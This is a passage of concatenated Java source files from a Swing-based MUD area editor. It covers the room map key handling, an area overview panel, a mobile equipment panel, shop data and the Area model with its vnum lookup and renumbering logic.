digEast.setEnabled(false); else digEast.setEnabled(true); if (room.getWest() != null) digWest.setEnabled(false); else digWest.setEnabled(true); mName.setText(room.toString() + " (" + room.getX() + "," + room.getY() + ")"); mouseRoom = room; popup.show(e.getComponent(), e.getX(), e.getY()); break; } } } } } /* * Start of customization functions */ public Color getCurrentRoomColor() { return currentRoomColor; } public Color getCurrentRoomBorder() { return currentRoomBorder; } public Color getRoomColor() { return roomColor; } public Color getRoomBorder() { return roomBorder; } public Color getExitColor() { return exitColor; } public Color getBackgroundColor() { return bgColor; } public void setCurrentRoomColor(Color nColor) { currentRoomColor = nColor; } public void setCurrentRoomBorder(Color nColor) { currentRoomBorder = nColor; } public void setRoomColor(Color nColor) { roomColor = nColor; } public void setRoomBorder(Color nColor) { roomBorder = nColor; } public void setExitColor(Color nColor) { exitColor = nColor; } public void setBackgroundColor(Color nColor) { bgColor = nColor; } class MapKeyListener implements KeyListener { /** * Handle the key typed event from the text field. */ public void keyTyped(KeyEvent e) { keyHandle(e); } /** * Handle the key pressed event from the text field. */ public void keyPressed(KeyEvent e) { keyHandle(e); } /** * Handle the key released event from the text field. */ public void keyReleased(KeyEvent e) { } public void keyHandle(KeyEvent e) { int keyCode = e.getKeyCode(); net.s5games.mafia.ui.view.roomView.RoomView m = (net.s5games.mafia.ui.view.roomView.RoomView) myParent; switch (keyCode) { case KeyEvent.VK_KP_DOWN: case KeyEvent.VK_DOWN: { m.moveView(2); return; } case KeyEvent.VK_KP_UP: case KeyEvent.VK_UP: { m.moveView(0); return; } case KeyEvent.VK_KP_LEFT: case KeyEvent.VK_LEFT: { m.moveView(3); return; } case KeyEvent.VK_KP_RIGHT: case KeyEvent.VK_RIGHT: { m.moveView(1); return; } default: return; } } } }<file_sep>/src/net/s5games/mafia/ui/view/overView/OverView.java /* * <NAME> * OverView.java * Area Editor Project, Spring 2002 * * This class displays the basic data of an model, it also provides * means to update this data, and revnum an model. */ package net.s5games.mafia.ui.view.overView; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.model.Area; import net.s5games.mafia.ui.view.EditorView; import net.s5games.mafia.ui.FlagChoice; import net.s5games.mafia.ui.JMudNumberField; import net.s5games.mafia.ui.JMudTextField; import javax.swing.JButton; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.border.BevelBorder; import javax.swing.border.TitledBorder; import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import net.s5games.mafia.ui.view.roomView.LabeledField; import net.miginfocom.swing.MigLayout; import net.miginfocom.layout.CC; public class OverView extends EditorView implements ActionListener { private JTextField fields[]; private JPanel fieldPanels[]; private FlagChoice areaFlagChoice; protected JButton edit, revnum; private String[] fieldTitles = { "File Name", "Area Name", "Builder", "Security", "Low Vnum", "High Vnum", "Resets in Area", "Exits Out of Area", "Rooms in Area", "Mobs in Area", "Objects in Area", "Object:Mobile:Room Ratio" }; public OverView(Area ar) { super(ar); this.setLayout(new MigLayout("fillx")); JPanel overviewPanel = new JPanel(); overviewPanel.setLayout(new MigLayout()); edit = new JButton("Change Values"); revnum = new JButton("ReVnum Area"); overviewPanel.add(edit); overviewPanel.add(revnum, "wrap"); fields = new JTextField[12]; fieldPanels = new JPanel[12]; for (int a = 0; a < 12; a++) { fields[a] = new JTextField(20); fields[a].setEditable(false); fieldPanels[a] = new LabeledField(fieldTitles[a], fields[a], true); if( a % 2 == 1 ) { overviewPanel.add( fieldPanels[a] , "wrap"); } else { overviewPanel.add( fieldPanels[a] ); } } areaFlagChoice = new FlagChoice("Area Flags", MudConstants.areaFlagNames, MudConstants.areaFlagData, MudConstants.areaFlagCount, this); overviewPanel.add(areaFlagChoice, "span"); edit.setEnabled(false); revnum.setEnabled(false); areaFlagChoice.setEnabled(false); edit.addActionListener(new dataUpdate()); revnum.addActionListener(new revnumUpdate()); CC componentConstraints = new CC(); componentConstraints.alignX("center").spanX(); add(overviewPanel, componentConstraints); update(); } // update the display from the data public void update() { fields[0].setText(data.getFileName()); fields[1].setText(data.getAreaName()); fields[2].setText(data.getBuilder()); fields[3].setText(Integer.toString(data.getSecurity())); fields[4].setText(Integer.toString(data.getLowVnum())); fields[5].setText(Integer.toString(data.getHighVnum())); fields[6].setText(Integer.toString(data.getResetCount())); fields[7].setText(data.getExitFromAreaCount()); fields[8].setText(Integer.toString(data.getRoomCount())); fields[9].setText(Integer.toString(data.getMobCount())); fields[10].setText(Integer.toString(data.getObjectCount())); fields[11].setText(data.getRatio()); areaFlagChoice.setFlags(data.getFlags()); if (data.valid()) { edit.setEnabled(true); revnum.setEnabled(true); areaFlagChoice.setEnabled(true); } else { edit.setEnabled(false); revnum.setEnabled(false); areaFlagChoice.setEnabled(false); } } // NOT USED in this class! public void update(int v) { update(); } // When model flags are adjusted, set to data public void actionPerformed(ActionEvent e) { data.setFlags(areaFlagChoice.getFlags()); update(); } // confirms entry to the model data text fields public boolean checkBasicData(JTextField[] fields) { int errornum = -1; int c = 0, d = 0, lowv = 0, highv = 0; if (fields[0].getText().length() != 0 && (fields[0].getText().length() < 7 || !(fields[0].getText().endsWith(".are")))) { JOptionPane.showMessageDialog(null, "File name must be in the form XXX.are!!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); System.out.println("Couldn't create new!(b)"); return false; } if (fields[1].getText().length() != 0 && fields[1].getText().length() < 6) { JOptionPane.showMessageDialog(null, "Area name must be 6 characters or more!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); return false; } if (fields[2].getText().length() != 0 && fields[2].getText().length() < 4) { JOptionPane.showMessageDialog(null, "Builder name must be 4 characters or more!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); return false; } try { if (fields[3].getText().length() != 0) { errornum = 1; c = Integer.parseInt(fields[3].getText()); if (c < 1 || c > 9) { JOptionPane.showMessageDialog(null, "Security must be a # from 1 to 9.", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); return false; } } if (fields[4].getText().length() != 0 && fields[5].getText().length() != 0) { errornum = 2; lowv = Integer.parseInt(fields[4].getText()); errornum = 3; highv = Integer.parseInt(fields[5].getText()); if (lowv + 24 >= highv) { JOptionPane.showMessageDialog(null, "High vnum must be GREATER than low vnum by at least 25!!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); return false; } if (lowv <= 0 || highv <= 0) { JOptionPane.showMessageDialog(null, "High and Low vnum must be greater than 0!!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); return false; } int temp = (highv - lowv) + 1; if (temp < data.getRoomCount() || temp < data.getObjectCount() || temp < data.getMobCount()) { JOptionPane.showMessageDialog(null, "Vnum range must be great enough to hold all objects, mobiles and rooms.", "Too few vnums!", JOptionPane.ERROR_MESSAGE); return false; } } } catch (Exception exc) { switch (errornum) { case 1: JOptionPane.showMessageDialog(null, "Security must be a NUMBER from 1 to 9.", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); break; case 2: JOptionPane.showMessageDialog(null, "Low vnum must be a NUMBER!!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); break; case 3: JOptionPane.showMessageDialog(null, "High vnum must be a NUMBER!!", "Couldn't Create New Area!", JOptionPane.ERROR_MESSAGE); break; default: System.out.println("ACK!"); break; } return false; } return true; } /** * listens for revnum button, brings up window, then revnums */ class revnumUpdate implements ActionListener { GridBagConstraints constraint; GridBagLayout layout; JPanel temp; JLabel oldLabel, newLabel; JTextField oldField, newField; public revnumUpdate() { oldLabel = new JLabel("Current Starting Vnum"); newLabel = new JLabel("New Starting Vnum"); oldField = new JTextField(7); newField = new JMudNumberField(7); oldField.setEnabled(false); temp = new JPanel(); layout = new GridBagLayout(); constraint = new GridBagConstraints(); //temp.setSize(new Dimension(300,200)); // temp.setPreferredSize(new Dimension(500,300)); temp.setLayout(layout); constraint.insets = new Insets(3, 3, 3, 3); constraint.gridwidth = 1; constraint.gridheight = 1; constraint.gridy = 0; constraint.gridx = 0; JLabel l1 = new JLabel("Change an Area vnum range"); l1.setBorder(new BevelBorder(BevelBorder.RAISED)); layout.setConstraints(l1, constraint); temp.add(l1); constraint.gridy = 1; layout.setConstraints(oldLabel, constraint); temp.add(oldLabel); constraint.gridy = 2; layout.setConstraints(oldField, constraint); temp.add(oldField); constraint.gridy = 3; layout.setConstraints(newLabel, constraint); temp.add(newLabel); constraint.gridy = 4; layout.setConstraints(newField, constraint); temp.add(newField); } public void actionPerformed(ActionEvent e) { int choice = -1; int errornum = -1; Object[] options = {"Revnum", "Cancel"}; oldField.setText(Integer.toString(data.getLowVnum())); do { errornum = -1; newField.setText(""); choice = JOptionPane.showOptionDialog(null, temp, "Revnum an model", JOptionPane.DEFAULT_OPTION, JOptionPane.PLAIN_MESSAGE, null, options, options[0]); if (choice == 0) { if (newField.getText().equals("")) { JOptionPane.showMessageDialog(null, "You must provide a new starting vnum.", "Empty field!", JOptionPane.ERROR_MESSAGE); errornum = 1; continue; } try { int temp = Integer.parseInt(newField.getText()); if (temp <= 0) { JOptionPane.showMessageDialog(null, "New starting vnum must be greater >= 1.", "new vnum less than 1!", JOptionPane.ERROR_MESSAGE); errornum = 1; continue; } data.reVnum(temp); update(temp); return; } catch (Exception exc) { JOptionPane.showMessageDialog(null, "New vnum must be a number.", "Not a number!", JOptionPane.ERROR_MESSAGE); errornum = 1; continue; } } else // canceled new. return; } while (choice == 0 && errornum == 1); JOptionPane.showMessageDialog(null, "You must revnum mob program text by hand!", "Revnum Warning!", JOptionPane.WARNING_MESSAGE); update(); } } class dataUpdate implements ActionListener { JLabel[] labels; JTextField[] fields; GridBagConstraints constraint; GridBagLayout layout; JPanel temp; public dataUpdate() { labels = new JLabel[6]; fields = new JTextField[6]; for (int a = 0; a < 3; a++) { fields[a] = new JMudTextField(20); } fields[3] = new JMudNumberField(20); fields[4] = new JTextField(20); fields[5] = new JMudNumberField(20); temp = new JPanel(); layout = new GridBagLayout(); constraint = new GridBagConstraints(); temp.setSize(new Dimension(300, 200)); temp.setPreferredSize(new Dimension(500, 300)); temp.setLayout(layout); constraint.insets = new Insets(3, 3, 3, 3); constraint.gridwidth = 2; constraint.gridheight = 1; constraint.gridy = 0; constraint.gridx = 0; JLabel l1 = new JLabel( "You may adjust the model's header data:"); layout.setConstraints(l1, constraint); temp.add(l1); constraint.gridwidth = 1; constraint.gridheight = 1; labels[0] = new JLabel("File Name : ", JLabel.RIGHT); labels[1] = new JLabel("Area Name :", JLabel.RIGHT); labels[2] = new JLabel("Builder :", JLabel.RIGHT); labels[3] = new JLabel("Security :", JLabel.RIGHT); labels[4] = new JLabel("Lower Vnum:", JLabel.RIGHT); labels[5] = new JLabel("High Vnum :", JLabel.RIGHT); for (int a = 0; a < 6; a++) { constraint.gridx = 0; constraint.gridy = a + 3; layout.setConstraints(labels[a], constraint); temp.add(labels[a]); constraint.gridx = 1; layout.setConstraints(fields[a], constraint); temp.add(fields[a]); } fields[0].setText(data.getFileName()); fields[1].setText(data.getAreaName()); fields[2].setText(data.getBuilder()); fields[3].setText(Integer.toString(data.getSecurity())); fields[4].setEnabled(false); fields[4].setText("Use REVNUM to change starting vnum."); fields[5].setText(Integer.toString(data.getHighVnum())); fields[4].setEnabled(false); } public void actionPerformed(ActionEvent e) { int choice = -1; int errornum = -1; Object[] options = {"OK", "CANCEL"}; fields[0].setText(data.getFileName()); fields[1].setText(data.getAreaName()); fields[2].setText(data.getBuilder()); fields[3].setText(Integer.toString(data.getSecurity())); fields[4].setText("Use REVNUM to change starting vnum."); fields[5].setText(Integer.toString(data.getHighVnum())); do { errornum = -1; choice = JOptionPane.showOptionDialog(null, temp, "Basic Area Data", JOptionPane.DEFAULT_OPTION, JOptionPane.PLAIN_MESSAGE, null, options, options[0]); fields[4].setText(Integer.toString(data.getLowVnum())); if (choice == 0) { for (int a = 0; a < 6; a++) { if (fields[a].getText().equals("")) { JOptionPane.showMessageDialog(null, "-All- fields must be entered!", "All fields mus be entered!", JOptionPane.ERROR_MESSAGE); errornum = 1; break; } } } else // canceled new. return; } while (choice == 0 && (errornum == 1 || checkBasicData(fields) == false)); data.setFileName(fields[0].getText()); data.setAreaName(fields[1].getText()); data.setBuilder(fields[2].getText()); data.setSecurity(Integer.parseInt(fields[3].getText())); data.setVnumRange(Integer.parseInt(fields[4].getText()), Integer.parseInt(fields[5].getText())); update(); } } }<file_sep>/src/net/s5games/mafia/ui/view/mobView/MobileEquipmentPanel.java package net.s5games.mafia.ui.view.mobView; import net.s5games.mafia.model.MudObject; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.model.Mobile; import net.s5games.mafia.model.Area; import javax.swing.*; import java.awt.*; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.util.Collection; /** * <NAME> * Date: Jan 18, 2009 * Time: 2:01:43 PM */ public class MobileEquipmentPanel extends JPanel { private JComboBox[] wearSlots; private WearSlotListener sListener; private String[] labels = { "<Light>", "<Head>", "<Neck1>", "<Neck2>", "<Finger1>", "<Finger2>", "<Torso>", "<Legs>", "<Feet>", "<Hands>", "<Arms>", "<Shield>", "<Body>", "<Waist>", "<Wrist1>", "<Wrist2>", "<Wielded>", "<Held>", "<Surround>", "<Ear1>", "<Ear2>" }; private Area data; private Mobile mobile; public MobileEquipmentPanel() { this.setLayout(new GridLayout(22, 1)); wearSlots = new JComboBox[21]; for (int a = 0; a < 21; a++) { wearSlots[a] = new JComboBox(); wearSlots[a].addItem("##### - " + labels[a]); wearSlots[a].setPreferredSize(wearSlots[a].getPreferredSize()); } add(wearSlots[0]); add(wearSlots[6]); add(wearSlots[3]); add(wearSlots[4]); add(wearSlots[1]); add(wearSlots[2]); add(wearSlots[5]); add(wearSlots[7]); add(wearSlots[8]); add(wearSlots[9]); add(wearSlots[10]); add(wearSlots[11]); add(wearSlots[12]); add(wearSlots[13]); add(wearSlots[14]); add(wearSlots[15]); add(wearSlots[16]); add(wearSlots[17]); add(wearSlots[18]); add(wearSlots[19]); add(wearSlots[20]); sListener = new WearSlotListener(); for (int z = 0; z < 21; z++) wearSlots[z].addActionListener(sListener); } public void setEnabled(boolean value) { for (int z = 0; z < 21; z++) wearSlots[z].setEnabled(value); } public void populate(Collection<MudObject> objects) { int wear; for (int a = 0; a < 21; a++) { wearSlots[a].removeAllItems(); wearSlots[a].addItem("##### - " + labels[a]); } for (MudObject object : objects) { wear = object.getWearFlags(); // unchoosable if no take flag. if ((wear & MudConstants.ITEM_TAKE) != MudConstants.ITEM_TAKE) continue; if (object.getType() == MudConstants.ITEM_LIGHT) wearSlots[0].addItem(object); // item is only take. if (wear == MudConstants.ITEM_TAKE) { continue; } wear = (wear ^ MudConstants.ITEM_TAKE); switch (wear) { case MudConstants.ITEM_WEAR_FINGER: { wearSlots[1].addItem(object); wearSlots[2].addItem(object); break; } case MudConstants.ITEM_WEAR_NECK: { wearSlots[3].addItem(object); wearSlots[4].addItem(object); break; } case MudConstants.ITEM_WEAR_BODY: { wearSlots[5].addItem(object); break; } case MudConstants.ITEM_WEAR_HEAD: { wearSlots[6].addItem(object); break; } case MudConstants.ITEM_WEAR_LEGS: { wearSlots[7].addItem(object); break; } case MudConstants.ITEM_WEAR_FEET: { wearSlots[8].addItem(object); break; } case MudConstants.ITEM_WEAR_HANDS: { wearSlots[9].addItem(object); break; } case MudConstants.ITEM_WEAR_ARMS: { wearSlots[10].addItem(object); break; } case MudConstants.ITEM_WEAR_SHIELD: { wearSlots[11].addItem(object); break; } case MudConstants.ITEM_WEAR_ABOUT: { wearSlots[12].addItem(object); break; } case MudConstants.ITEM_WEAR_WAIST: { wearSlots[13].addItem(object); break; } case MudConstants.ITEM_WEAR_WRIST: { wearSlots[14].addItem(object); wearSlots[15].addItem(object); break; } case MudConstants.ITEM_WIELD: { wearSlots[16].addItem(object); break; } case MudConstants.ITEM_HOLD: { wearSlots[17].addItem(object); break; } case MudConstants.ITEM_WEAR_FLOAT: { wearSlots[18].addItem(object); break; } case MudConstants.ITEM_WEAR_EARS: { wearSlots[19].addItem(object); wearSlots[20].addItem(object); break; } default: { System.out.println("Not a valid wear flag: " + wear); break; } } } } class WearSlotListener implements ActionListener { public void actionPerformed(ActionEvent e) { JComboBox box = (JComboBox) e.getSource(); MudObject obj = null; if (box.getSelectedItem() instanceof MudObject) obj = (MudObject) box.getSelectedItem(); for (int loop = 0; loop < 21; loop++) { if (box == wearSlots[loop]) { if (mobile == null) return; if (obj != null) mobile.equipMobile(loop, obj.getVnum()); else mobile.equipMobile(loop, -1); } } } } public void update(Area data, Mobile mob) { this.data = data; this.mobile = mob; for (int a = 0; a < 21; a++) wearSlots[a].removeActionListener(sListener); populate(data.getObjects()); setEq(mob); for (int a = 0; a < 21; a++) wearSlots[a].addActionListener(sListener); } /* * this function takes the eq equipped to mobile and * sets the combo boxes to that eq. */ private void setEq(Mobile mob) { MudObject obj; int eqVnum; if (mob == null) { return; } for (int a = 0; a < 21; a++) { wearSlots[a].setSelectedIndex(0); eqVnum = mob.getEquipment(a); if (eqVnum == -1) continue; obj = data.getObject(eqVnum); if (obj == null) continue; wearSlots[a].setSelectedItem(obj); } } } <file_sep>/aeditor_stillrom/src/net/s5games/mafia/model/MudShopData.java package net.s5games.mafia.model; import net.s5games.mafia.ui.TitledComponent; import net.s5games.mafia.model.MudConstants; import javax.swing.*; import javax.swing.border.LineBorder; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; import java.awt.*; public class MudShopData { private int keeper; // vnum of mobile private int[] buyType; // item types shop will by. private int profitBuy; private int profitSell; private int openHour; private int closeHour; public MudShopData(int mobVnum) { buyType = new int[MudConstants.MAX_TRADE]; keeper = mobVnum; profitBuy = 100; profitSell = 100; openHour = 0; closeHour = 24; } public MudShopData(int mobVnum, int[] bType, int pBuy, int pSell, int hOpen, int hClose) { this(mobVnum); buyType = bType; profitBuy = pBuy; profitSell = pSell; openHour = hOpen; closeHour = hClose; // System.out.println("New Shop: " + toString() ); } public int getBuyProfit() { return profitBuy; } public int getSellProfit() { return profitSell; } public int getOpenHour() { return openHour; } public int getCloseHour() { return closeHour; } public void setBuyProfit(int newp) { if (newp < 0) return; profitBuy = newp; } public void setSellProfit(int newp) { if (newp < 0) return; profitSell = newp; } public void setOpenHour(int newh) { if (newh < 0 || newh > 23) return; openHour = newh; if (closeHour <= openHour) closeHour = openHour + 1; } public void setCloseHour(int newh) { if (newh < 0 || newh > 23) return; closeHour = newh; if (closeHour <= openHour) openHour = closeHour - 1; } public String toString() { String temp; temp = go(keeper) + " " + go(buyType[0]) + " " + go(buyType[1]) + " " + go(buyType[2]); temp = temp + " " + go(buyType[3]) + " " + go(buyType[4]); temp = temp + " " + go(profitBuy) + " " + go(profitSell); temp = temp + " " + go(openHour) + " " + go(closeHour) + "\n"; return temp; } public int getKeeper() { return keeper; } public void setKeeper(int newKeeper) { keeper = newKeeper; } private String go(int a) { return Integer.toString(a); } public JPanel getPanel() { JPanel mypanel = new JPanel(true); mypanel.setLayout(new GridLayout(2, 2)); final JSlider openSlide = new JSlider(JSlider.HORIZONTAL, 1, 24, 8); openSlide.setMajorTickSpacing(11); openSlide.setMinorTickSpacing(1); openSlide.setPaintTicks(true); openSlide.setPaintLabels(true); final TitledComponent openHolder = new TitledComponent(openSlide, "Opens at: " + getOpenHour()); final JSlider closeSlide = new JSlider(JSlider.HORIZONTAL, 1, 24, 20); closeSlide.setMajorTickSpacing(11); closeSlide.setMinorTickSpacing(1); closeSlide.setPaintTicks(true); closeSlide.setPaintLabels(true); final TitledComponent closeHolder = new TitledComponent(closeSlide, "Closes at: " + getCloseHour()); final JSlider buySlide = new JSlider(JSlider.HORIZONTAL, 25, 200, 100); buySlide.setMajorTickSpacing(50); buySlide.setPaintTicks(true); buySlide.setPaintLabels(true); final TitledComponent buyHolder = new TitledComponent(buySlide, "Buy profit: " + getBuyProfit() + "%"); final JSlider sellSlide = new JSlider(JSlider.HORIZONTAL, 25, 200, 100); sellSlide.setMajorTickSpacing(50); sellSlide.setPaintTicks(true); sellSlide.setPaintLabels(true); final TitledComponent sellHolder = new TitledComponent(sellSlide, "Sell profit: " + getSellProfit() + "%"); mypanel.add(openHolder); mypanel.add(closeHolder); mypanel.add(buyHolder); mypanel.add(sellHolder); mypanel.setBorder(new LineBorder(Color.gray, 1)); JPanel rpanel = new JPanel(true); rpanel.setLayout(new BorderLayout()); rpanel.add(mypanel, BorderLayout.CENTER); JLabel label = new JLabel( "This mobile will sell the equipment selected in it's inventory."); rpanel.add(label, BorderLayout.SOUTH); openSlide.setValue(getOpenHour()); closeSlide.setValue(getCloseHour()); buySlide.setValue(getBuyProfit()); sellSlide.setValue(getSellProfit()); openSlide.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); //if (!source.getValueIsAdjusting()) { setOpenHour((int) source.getValue()); openSlide.setValue(getOpenHour()); closeSlide.setValue(getCloseHour()); openHolder.setText("Opens at: " + getOpenHour()); closeHolder.setText("Closes at: " + getCloseHour()); } } }); closeSlide.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); //if (!source.getValueIsAdjusting()) { setCloseHour((int) source.getValue()); openSlide.setValue(getOpenHour()); closeSlide.setValue(getCloseHour()); openHolder.setText("Opens at: " + getOpenHour()); closeHolder.setText("Closes at: " + getCloseHour()); } } }); buySlide.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); // if (!source.getValueIsAdjusting()) { setBuyProfit((int) source.getValue()); buySlide.setValue(getBuyProfit()); buyHolder.setText("Buy profit: " + getBuyProfit() + "%"); } } }); sellSlide.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); //if (!source.getValueIsAdjusting()) { setSellProfit((int) source.getValue()); sellSlide.setValue(getSellProfit()); sellHolder.setText("Sell profit: " + getSellProfit() + "%"); } } }); return rpanel; } }<file_sep>/src/net/s5games/mafia/model/Area.java package net.s5games.mafia.model; import net.s5games.mafia.model.MobileProgram; import javax.swing.*; import java.util.Vector; import net.s5games.mafia.ui.view.mobView.MudShopView; public class Area { private boolean validArea; private boolean changed; private AreaHeader header; private Vector<Room> rooms; private Vector<MudObject> objects; private Vector<Mobile> mobs; private Vector<MudReset> resets; private Vector<MobileProgram> mobprogs; // Creates an model file with given filename reference. Initiates data. public Area(String file) { this(); getHeader().setFileName(file); } // Creates blank model file, no filename. Initiates data. public Area() { header = new AreaHeader(); rooms = new Vector<Room>(); objects = new Vector<MudObject>(); mobs = new Vector<Mobile>(); resets = new Vector<MudReset>(); mobprogs = new Vector<MobileProgram>(); validArea = false; changed = false; } public AreaHeader getHeader() { return header; } public void setHeader(AreaHeader header) { this.header = header; // You may have broken the area. validArea = true; changed = true; } // Accessors public String getAreaName() { return getHeader().getAreaName(); } public String getBuilder() { return getHeader().getBuilder(); } public String getFileName() { return getHeader().getFileName(); } public String getPathName() { return getHeader().getPathName(); } public int getSecurity() { return getHeader().getSecurity(); } public int getLowVnum() { return getHeader().getLowVnum(); } public int getHighVnum() { return getHeader().getHighVnum(); } public int getRoomCount() { return rooms.size(); } public int getMobCount() { return mobs.size(); } public int getMprogCount() { return mobprogs.size(); } /** * Add up: exits, mobs, mobs eq, mobs inventory, mobs inventory's inventory, objects in room and objects inventories * @return Count of resets that will be generated if you save. */ public int getResetCount() { int count = 0; for (Room room : rooms) { for (int lockLoop = 0; lockLoop < 6; lockLoop++) { MudExit tempExit = room.getExit(lockLoop); if (tempExit != null && tempExit.isSet(MudConstants.EXIT_CLOSED)) { count++; } } for (Mobile mob : room.getMobiles()) { if (mob == null) continue; count++; for (int loop = 0; loop < 21; loop++) { if (mob.getEquipment(loop) != -1) { count++; } } if (!mob.getInventory().isEmpty()) { for (MudObject obj : mob.getInventory()) { count += (1 + obj.getInventory().size()); } } } for (MudObject obj : room.getObjects()) { count += (1 + obj.getInventory().size()); } } return count; } public int getObjectCount() { return objects.size(); } public int getFlags() { return getHeader().getFlags(); } public boolean valid() { return validArea; } public boolean changed() { return changed; } public Vector<MudReset> getResets() { return resets; } public boolean isValidVnum(int vnum) { return !(vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum() ); } /* * First mprog in the model */ public int getFirstMprogVnum() { if( mobprogs.isEmpty()) return -1; return mobprogs.iterator().next().getVnum(); } /* * First room in the model */ public int getFirstRoomVnum() { if( rooms.isEmpty()) return -1; return rooms.iterator().next().getVnum(); } /* * First mobile in model. */ public int getFirstMobVnum() { if( mobs.isEmpty()) return -1; return mobs.iterator().next().getVnum(); } /* * First object in model. */ public int getFirstObjectVnum() { if( objects.isEmpty()) return -1; return objects.iterator().next().getVnum(); } // call countMobile for every room and add. public int maxMob(int vnum) { int total = 0; if (vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum()) return 0; for( Room room : rooms) { total += room.countMobile(vnum); } return total; } /* * Get room of specified vnum */ public Room getRoom(int vnum) { if (vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum()) return null; for( Room room : rooms) { if( room.getVnum() == vnum) return room; } return null; } /* * Get object of specified vnum */ public MudObject getObject(int vnum) { if (vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum()) return null; for( MudObject object : objects) { if( object.getVnum() == vnum) return object; } return null; } /* * Get mobile of specified vnum */ public Mobile getMobile(int vnum) { if (vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum()) return null; for( Mobile mob : mobs) { if( mob.getVnum() == vnum) return mob; } return null; } public MobileProgram getScriptByVnum(int vnum) { if (vnum < getHeader().getLowVnum() || vnum > getHeader().getHighVnum()) return null; for( MobileProgram mprog : mobprogs) { if( mprog.getVnum() == vnum) return mprog; } return null; } public Vector<MobileProgram> getMobprogs() { return mobprogs; } public void setMobprogs(Vector<MobileProgram> mobprogs) { this.mobprogs = mobprogs; } public void removeMobileProgram(MobileProgram dMProg) { mobprogs.remove(dMProg); } /* * Get an available mob program vnum */ public int getFreeScriptVnum() { if (mobprogs.isEmpty()) return getLowVnum(); else { int vnum; for (vnum = getHeader().getLowVnum(); vnum <= getHeader().getHighVnum(); vnum++) { if (getScriptByVnum(vnum) == null) return vnum; } return -1; } } /* * Get an available room vnum */ public int getFreeRoomVnum() { if (rooms.isEmpty()) return getHeader().getLowVnum(); else { int vnum; for (vnum = getHeader().getLowVnum(); vnum <= getHeader().getHighVnum(); vnum++) { if (getRoom(vnum) == null) return vnum; } return -1; } } /* * get an available mobile vnum */ public int getFreeMobileVnum() { if (mobs.isEmpty()) return getLowVnum(); else { int vnum; for (vnum = getHeader().getLowVnum(); vnum <= getHeader().getHighVnum(); vnum++) { if (getMobile(vnum) == null) return vnum; } return -1; } } /* * get an available object vnum */ public int getFreeObjectVnum() { if (objects.isEmpty()) return getLowVnum(); else { int vnum; for (vnum = getHeader().getLowVnum(); vnum <= getHeader().getHighVnum(); vnum++) { if (getObject(vnum) == null) return vnum; } return -1; } } /* * returns the object to mob to room ratio R:O:M */ public String getRatio() { int mob = getMobCount(); int room = getRoomCount(); int obj = getObjectCount(); for (int a = 99; a > 0; a--) { if (mob % a == 0 && room % a == 0 && obj % a == 0) { mob = mob / a; room = room / a; obj = obj / a; break; } } return Integer.toString(obj) + ":" + Integer.toString(mob) + ":" + Integer.toString(room); } // Modifiers public void setBuilder(String newbuilder) { getHeader().setBuilder(newbuilder); } public void setAreaName(String newname) { getHeader().setAreaName(newname); } public void setFileName(String newname) { getHeader().setFileName(newname); } public void setPathName(String newpath) { getHeader().setPathName(newpath); } public void setVnumRange(int newLowVnum, int newHighVnum) { getHeader().setVnumRange(newLowVnum, newHighVnum); validArea = true; } public void setSecurity(int newSecurity) { getHeader().setSecurity(newSecurity); } public void setFlags(int newFlags) { getHeader().setFlags(newFlags); } /* * Insert an object, it inserts the object into the proper * array based on its type. */ public void insert(Object m) { if (m instanceof Room) { rooms.add((Room) m); } else if (m instanceof MudObject) { objects.add((MudObject) m); } else if (m instanceof Mobile) { mobs.add((Mobile) m); } else if (m instanceof MudReset) { resets.add((MudReset) m); } else if (m instanceof MudShopView) { MudShopView temp = (MudShopView) m; int kVnum = temp.getKeeper(); Mobile mTemp = getMobile(kVnum); if (mTemp == null) return; mTemp.setShop(temp); } else if (m instanceof MobileProgram) { mobprogs.add((MobileProgram) m); } else { System.out.println("Unknown type inserted into model."); } } // revnum this model. public void reVnum(int newVnum) { int oldLow = getHeader().getLowVnum(); int diff = newVnum - oldLow; int lowVnum = newVnum; int highVnum = getHeader().getHighVnum() + diff; // Start by revnuming the rooms. // * Rooms vnum // * Rooms exits for( Room temp : rooms) { temp.setVnum(temp.getVnum() + diff); MudExit exit; for (int a = 0; a < MudConstants.MAX_EXITS; a++) { exit = temp.getExit(a); if (exit == null) continue; exit.setToVnum(exit.getToVnum() + diff); if (exit.getKey() >= oldLow) exit.setKey(exit.getKey() + diff); } } // Revnum every mobile. // Mobiles Vnum // Mobiles Group // equipment slots // Triggers // Shop for( Mobile temp : mobs) { temp.setVnum(temp.getVnum() + diff); if (temp.getGroup() != 0) temp.setGroup(temp.getGroup() + diff); for (int w = 0; w < 21; w++) { if (temp.getEquipment(w) != -1) temp.equipMobile(w, temp.getEquipment(w) + diff); } for( MobTrigger trigger : temp.getTriggers()) { trigger.setVnum(trigger.getVnum() + diff); } if (temp.isShop()) temp.getShop().setKeeper(temp.getShop().getKeeper() + diff); // mob programs attached to mobile need to be done here. } // revnum every object // objects vnum // portal vnum // container key for( MudObject temp : objects) { temp.setVnum(temp.getVnum() + diff); if (temp.getType() == MudConstants.ITEM_PORTAL) 